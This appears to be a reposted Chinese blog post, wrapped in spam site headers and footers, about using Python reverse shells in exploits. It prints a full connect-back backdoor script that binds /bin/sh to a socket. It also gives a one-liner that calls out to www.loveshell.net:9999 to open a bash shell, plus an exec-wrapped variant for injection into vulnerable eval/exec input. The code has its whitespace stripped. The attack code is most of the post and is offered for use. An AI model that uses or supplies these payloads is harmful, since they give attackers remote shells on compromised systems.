国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

在漏洞利用Python代碼真的很爽

2020-01-04 18:07:06
字體:
來源:轉載
供稿:網友

不知道怎么忽然想看這個,呵呵

小我的python的反shell的代碼

#!/usr/bin/python

#PythonConnect-backBackdoor

#Author:wofeiwo

#Version:1.0

#Date:July15th2006

importsys

importos

importsocket

shell="/bin/sh"

defusage(programname):

print"PythonConnect-backBackdoor"

print"Auther:wofeiwo"

print"Date:July15th2006/n"

print"Usage:%s/n"%programname

defmain():

iflen(sys.argv)!=3:

usage(sys.argv[0])

sys.exit(1)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))

print"[+]Connectok."

except:

print"[-]Couldnotconnectto%s:%s"%(sys.argv[1],sys.argv[2])

sys.exit(2)

s.send("--------------------PythonConnect-backBackdoor--------------------/n")

s.send("-----------------------------Bywofeiwo-----------------------------/n")

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

globalshell

os.system(shell)

print"SeeU!"

s.close()

if__name__=="__main__":main()

用在漏洞利用的時候不太好,不是么?我們想要短點的,節省下就是

importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster/r/n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?/r/n");os.system("/bin/bash");s.close();s.send("Seeunexttime!/r/n");

如何?很短了吧?

不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(后面有解釋)那么還可以變化下

exec'importsys;importos;importsocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcomemymaster//r//n");os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);s.send("Isthereashell?//r//n");os.system("/bin/bash");s.close();s.send("Seeunexttime!//r//n");';

注意是//r//n哦,即使在''里好象/r/n一樣會成為換行,所以其實這里即使不用;一樣可以構造好代碼的,另外,為什么不用eval呢?

翻了下手冊

exec語句用來執行儲存在字符串或文件中的Python語句。例如,我們可以在運行時生成一個包含Python代碼的字符串,然后使用exec語句執行這些語句

eval語句用來計算存儲在字符串中的有效Python表達式

呵呵,這里用eval好象會出錯.

YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 酒泉市| 望江县| 合肥市| 七台河市| 靖州| 隆尧县| 莱西市| 恭城| 鄂托克前旗| 额敏县| 洞口县| 铜鼓县| 扎赉特旗| 吉林省| 洛扎县| 东港市| 松原市| 碌曲县| 岳西县| 隆安县| 宁强县| 河南省| 西畴县| 成安县| 富阳市| 广元市| 奇台县| 丰宁| 吴桥县| 舟山市| 崇仁县| 阳高县| 花垣县| 武夷山市| 丽江市| 临泉县| 江津市| 志丹县| 深州市| 海城市| 无棣县|